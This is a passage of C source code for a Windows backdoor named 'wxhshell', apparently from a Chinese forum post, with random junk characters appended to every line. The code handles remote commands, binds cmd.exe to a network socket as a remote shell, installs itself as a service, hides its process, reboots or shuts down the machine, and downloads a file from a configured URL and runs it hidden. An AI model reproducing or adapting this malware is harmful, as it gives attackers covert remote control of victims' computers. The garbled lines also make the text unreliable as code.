ZA!vxQ?P,  
    switch(cmd[0]) { ((y+FJH  
  _]\mh,}  
  // 帮助 ?$ 3=m)s  
  case '?': { {E9Y)Z9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &(K*TB|Om  
    break; ~&pk</Dl  
  } hi37p1t   
  // 安装 .Ee8s]h5W  
  case 'i': { yY1&h op  
    if(Install()) Z5+0?X0i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6ul34\;  
    else \^+sgg{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  I{E10;  
    break; *mYec~  
    } y]/{W}D  
  // 卸载 @g{=f55  
  case 'r': { )P$ IXA\  
    if(Uninstall()) &t4j px  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k8h$#@^  
    else MW p^.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bp}<H<@  
    break; ZXco5,1  
    } x>t:&Y M  
  // 显示 wxhshell 所在路径 w}'E]y2.  
  case 'p': { 4Q$\hO3b  
    char svExeFile[MAX_PATH]; XpM#0hm  
    strcpy(svExeFile,"\n\r"); 3&}wfK]X  
      strcat(svExeFile,ExeFile); sl)_HA7G  
        send(wsh,svExeFile,strlen(svExeFile),0); >iq^Ts  
    break; sI~{it#  
    } r`" ?K]rI  
  // 重启 6OVAsmE  
  case 'b': { m86w{b$8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rtY0?  
    if(Boot(REBOOT)) =Y89X6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L%<1cE))  
    else { N^)L@6  
    closesocket(wsh); LaLA }1!  
    ExitThread(0); f~E'0f_  
    } Y2Tg>_:t   
    break; qwnC{  
    } `/#6k>  
  // 关机 #w#B'  
  case 'd': { s7=]!7QGS!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C7PHZ`<  
    if(Boot(SHUTDOWN)) {+Eq{8m`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1MOQ/N2BR  
    else { KaOS!e'  
    closesocket(wsh); a?@j`@]ZR~  
    ExitThread(0); @ j' I  
    } \p.ku%{  
    break; Cgt{5  
    } V" I+E  
  // 获取shell [t,7H  
  case 's': { 3pm;?6i6  
    CmdShell(wsh); z )k\p'0"  
    closesocket(wsh); A`IE8@&Z'  
    ExitThread(0); 7Sr7a {  
    break; (]rtBeT  
  } "M2HiV  
  // 退出 7IjFSN>  
  case 'x': { !x|Ok'izDL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z5\u9E"]  
    CloseIt(wsh); O7:JG[tR*  
    break; 5^[V%4y>  
    } )j!22tlL  
  // 离开 zZseK  
  case 'q': { Vhv<w O Ct  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N3i}>Q)B  
    closesocket(wsh); vxK}f*d  
    WSACleanup(); 7+=fD|Cl  
    exit(1); D@&0 P&  
    break; P)ZGNtO9fG  
        } d:Wh0y}  
  }  >Xh 9{/o  
  } <SOC  
'ym/@h7h  
  // 提示信息 W|; .G9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BY72fy#e  
} O0c#-K.f  
  } \Ua"gS2L  
&.;tdT7  
  return; } 5FdX3YR  
} u:NSPAD)  
h )fi9  
// shell模块句柄 u-yQP@^H  
int CmdShell(SOCKET sock) T)qD}hl  
{ -# |J  
STARTUPINFO si; Zm^4p{I%o*  
ZeroMemory(&si,sizeof(si)); ) j_g*<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CFkM}`v0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7xz|u\?_2  
PROCESS_INFORMATION ProcessInfo; N)WAzH  
char cmdline[]="cmd"; [0w @0?[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZV$qv=X  
  return 0; N{ @B@]  
} f)~urGazS  
nPD5/xW  
// 自身启动模式 A90o X1l  
int StartFromService(void) 8S"vRR  
{ ]=m '| 0}  
typedef struct ]2+7?QL,  
{ SoI"a^fY  
  DWORD ExitStatus; VZ 5EV'D8!  
  DWORD PebBaseAddress; rp (nGiI  
  DWORD AffinityMask; }PTYNidlR  
  DWORD BasePriority; 51u8.%{4  
  ULONG UniqueProcessId; : 2Ho  
  ULONG InheritedFromUniqueProcessId; ]'3e#Cqeh  
}   PROCESS_BASIC_INFORMATION; |X,T>{V?y  
Ph'*s{   
PROCNTQSIP NtQueryInformationProcess; Es/\/vF7]D  
l\vtz5L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Po#;SG#Ee  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *tC]Z&5  
5zWxI]4d\  
  HANDLE             hProcess; C: @T5m  
  PROCESS_BASIC_INFORMATION pbi; '5\7>2fI  
NguJ[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wu "6Kyu  
  if(NULL == hInst ) return 0; nw){}g  
n a,j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B{^o}:e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Dm?>U1{   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9=p^E#d  
[#S}L(  
  if (!NtQueryInformationProcess) return 0; [4KW64%l  
G%_6" s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8.3888  
  if(!hProcess) return 0; ua# sW  
cLj@+?/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^tc2?T  
sS/#)/B  
  CloseHandle(hProcess); J*?BwmD'8  
~0aWjMc(>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); FTZ][  
if(hProcess==NULL) return 0; MQ>.^]B]o  
`!rH0]vy  
HMODULE hMod; b1Bu5%bt,:  
char procName[255]; /^v?Q9=Y  
unsigned long cbNeeded; P{v>o,a.  
m22M[L(q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -h+=^,  
x;ym_UZ6e  
  CloseHandle(hProcess); O&YX V  
H-$)@  
if(strstr(procName,"services")) return 1; // 以服务启动 E#?*6/  
+`4`OVE_#  
  return 0; // 注册表启动 F[uy'~;@  
} p_T>"v  
bkk1_X  
// 主模块 9|#YKO\\i  
int StartWxhshell(LPSTR lpCmdLine) SEsc"l8  
{ lIPy)25~  
  SOCKET wsl; Rd7[e^HSN  
BOOL val=TRUE; 72@lDY4cE  
  int port=0; ~"F83+RDe  
  struct sockaddr_in door; (GB2("p`  
foY=?mbL  
  if(wscfg.ws_autoins) Install(); "e.QiK  
wG6@. ;3  
port=atoi(lpCmdLine); DrE +{Spm  
k{_ Op/k}V  
if(port<=0) port=wscfg.ws_port; rF C6"_  
$OOZ-+8  
  WSADATA data; J!r,ktO^U?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *((wp4b  
vowU+Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0IU>KGJ-0s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V?"X0>]0  
  door.sin_family = AF_INET; wc z|Zy  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Sj?u^L8es}  
  door.sin_port = htons(port); +%vBDcf  
#Hm*<s.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7d&_5Tj:  
closesocket(wsl); x;A"S  
return 1; Exir?G}\  
} ~&-8lD];LM  
"JI FF_  
  if(listen(wsl,2) == INVALID_SOCKET) { q;co53.+P)  
closesocket(wsl); _-/aMfyQ  
return 1; |X&.+RI  
} Kjbt1n  
  Wxhshell(wsl); Wr3j8"f/  
  WSACleanup(); /7WN,a  
jIY    
return 0; A)9[.fhx  
v @zpF)|  
} &0B< iO<f  
QoZ7l]^  
// 以NT服务方式启动 ~"\qX+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Xk#"rM< Y  
{ [Xp{z tGE  
DWORD   status = 0; a& >(*PQ  
  DWORD   specificError = 0xfffffff; 5~(.:RX:q  
RQ?T~ASs  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a[TR_ uR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f:$LVpXS-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,(aOTFQS  
  serviceStatus.dwWin32ExitCode     = 0; eL)* K>T  
  serviceStatus.dwServiceSpecificExitCode = 0; ^X2U A{  
  serviceStatus.dwCheckPoint       = 0; cd8ZZ 8L  
  serviceStatus.dwWaitHint       = 0; rBBA`Ut@F  
M%=V vE.I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,:yv T6)p  
  if (hServiceStatusHandle==0) return; D&1*,`  
{"<6'2T3  
status = GetLastError(); @NBWNgBv  
  if (status!=NO_ERROR) .Z=4,m>  
{ Q _}i8p '  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; iUuG}rqj  
    serviceStatus.dwCheckPoint       = 0; 5 `:+NwXS2  
    serviceStatus.dwWaitHint       = 0; %9.] bd|%F  
    serviceStatus.dwWin32ExitCode     = status; y/' ^r?  
    serviceStatus.dwServiceSpecificExitCode = specificError; }@IRReQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l!2hwRR  
    return; q/w U7P\%  
  } BoZ G^  
.E !p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5j(3pV`_  
  serviceStatus.dwCheckPoint       = 0; rCcNu  
  serviceStatus.dwWaitHint       = 0; w)bLdQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `Pj7O/!)#!  
} f'/@h Na3  
:SxOQ(n  
// 处理NT服务事件,比如:启动、停止 Mwdh]I,#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [BS3y`c  
{ c"aiZ(aP  
switch(fdwControl) wK 8/`{B9  
{ 3[Pa~]yS  
case SERVICE_CONTROL_STOP: ?sl 7C gl  
  serviceStatus.dwWin32ExitCode = 0; 6T6 S9A*nT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; HgG-r&r!2  
  serviceStatus.dwCheckPoint   = 0; B`Q.<Lqu  
  serviceStatus.dwWaitHint     = 0; gi`K^L=C  
  { _]E ~ci}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y""-U3;T~  
  } Vv(!Ki}  
  return; 5qco4@8  
case SERVICE_CONTROL_PAUSE: 9IL#\:d1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; RL>Nl ow  
  break; I`h9P2~  
case SERVICE_CONTROL_CONTINUE: G'XlsyaWrb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ? WWnt^  
  break; ok5 {c  
case SERVICE_CONTROL_INTERROGATE: HtOo*\Ne  
  break; SsjO1F  
}; qF6YH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u(JC 4w'  
} owe362q  
g# ZR, q  
// 标准应用程序主函数 s-r$%9o5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9vL`|`Vau  
{ W|=?-  
e , zR  
// 获取操作系统版本 XgKtg-,  
OsIsNt=GetOsVer(); L@?Dmn'v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3+m#v8h1  
]}9cOb%I  
  // 从命令行安装 wgSA6mQZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); NFGC.<  
@Z!leyam  
  // 下载执行文件 u;DF$   
if(wscfg.ws_downexe) { D8_m_M| P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9QJ=?bIC#  
  WinExec(wscfg.ws_filenam,SW_HIDE); /s6':~4  
} >H@ dgb  
?[Q;275  
if(!OsIsNt) { ?)Lktn9%  
// 如果时win9x,隐藏进程并且设置为注册表启动 BZ1@?3  
HideProc(); -;T>4B=  
StartWxhshell(lpCmdLine); cl2@p@av  
} #e&j]Q$Eh  
else GZQ)Tz R  
  if(StartFromService()) Kv+E"2d  
  // 以服务方式启动 %'`Dd  
  StartServiceCtrlDispatcher(DispatchTable); mT@UQCG  
else RrLQM!~  
  // 普通方式启动 U*/  
  StartWxhshell(lpCmdLine); .D^k0V  
| x{:GWq  
return 0; >;o^qi_$  
}
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只看该作者 1 发表于: 2006-10-10
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